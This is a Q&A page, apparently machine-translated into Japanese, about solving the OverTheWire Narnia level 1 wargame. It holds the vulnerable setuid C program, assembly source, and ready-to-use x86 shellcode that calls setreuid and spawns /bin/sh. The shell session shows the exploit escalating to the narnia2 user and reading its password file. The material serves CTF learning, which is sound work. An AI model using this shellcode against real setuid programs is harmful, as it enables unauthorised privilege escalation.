web-dev-qa-db-ja.com

シェルコードが所有者として実行されない

(これは、Narniaと呼ばれるoverthewire.orgのウォーゲームでの挑戦に関する質問です)

これは、私が悪用しようとする脆弱なスクリプト「narnia1」のソースコードです。

#include <stdio.h>

int main(){
    int (*ret)();

    if(getenv("Egg")==NULL){    
        printf("Give me something to execute at the env-variable Egg\n");
        exit(1);
    }

    printf("Trying to execute Egg!\n");
    ret = getenv("Egg");
    ret();

    return 0;
}

したがって、基本的には環境変数「Egg」に格納されているものを実行します。

次に示すように、「Egg」をシェルコードに設定します。

export Egg=`python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'"`

/bin/shを実行します。

このファイルの所有者(narnia1)は、以下に示すように「narnia2」です。シェルが「narnia2」として実行されることを想定しています。

narnia1@narnia:/narnia$ ls -la
total 116
drwxr-xr-x  2 root    root    4096 Nov  9 15:08 .
drwxr-xr-x 25 root    root    4096 Mar 12 09:58 ..
-r-sr-x---  1 narnia1 narnia0 7568 Nov  9 15:08 narnia0
-r--r-----  1 narnia0 narnia0 1186 Nov  9 15:08 narnia0.c
-r-sr-x---  1 narnia2 narnia1 7404 Nov  9 15:08 narnia1
-r--r-----  1 narnia1 narnia1 1000 Nov  9 15:08 narnia1.c
...

しかし、これは私が得たものです:

narnia1@narnia:/narnia$ export Egg=`python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'"`
narnia1@narnia:/narnia$ ./narnia1
Trying to execute Egg!
$ whoami
narnia1

そして、なぜこれが私に「narnia2」ではなく「narnia1」としてシェルを与えるのか分かりません。

何か案が?

1
Lowell

私はかなり長い間これに苦労し、結局オンラインで見つけたシェルコードの一部を変更する必要がありました。

;;; Corrected assembler, based on original from:-
;;; http://Shell-storm.org/shellcode/files/shellcode-399.php

      BITS 32

      Push byte   0x31
      pop         eax               ; EAX = 0x31
      xor         edx, edx
      int         0x80              ; geteuid();
      mov         ebx, eax          ; result into both args of setreuid() call...
      mov         ecx, eax
      Push byte   0x46              ; 
      pop         eax               ; EAX = 0x46
      int         0x80              ; setreuid(geteuid(),geteuid());
      mov         al, 0xb           ; execve syscall
      Push        edx               ; Push \0 string terminator
      Push        0x68732f6e        ; hs/n  
      Push        0x69622f2f        ; ib//      
      mov         ebx, esp          ; EBX -> "//bin/sh"
      mov         ecx, edx          ; ECX = 0
      int         0x80              ; execve(/bin/sh,0,0);

これがシェルコード文字列です:-

"\x6a\x31\x58\x31\xd2\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"

そしてここにそれを使用する方法があります:-

narnia1@narnia:/narnia$ export Egg=`python -c 'print "\x6a\x31\x58\x31\xd2\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"'`
narnia1@narnia:/narnia$ ./narnia1
Trying to execute Egg!
$ whoami
narnia2
$ cat /etc/narnia_pass/narnia2
******* (the password)
1
Echelon

プログラムを悪用するためにnc/sshを実行するCTFでは、バイナリがsetuidであることが一般的です。

したがって、user1として接続できますが、フラグはuser2に属しています。 setuid、binaryを利用すると、フラグを読み取ることができるuser2になります。

環境をだましたり損傷したりすることなく、ユーザーがログインしてデータを悪用できる環境を作成することは簡単ではありません。

0
manduca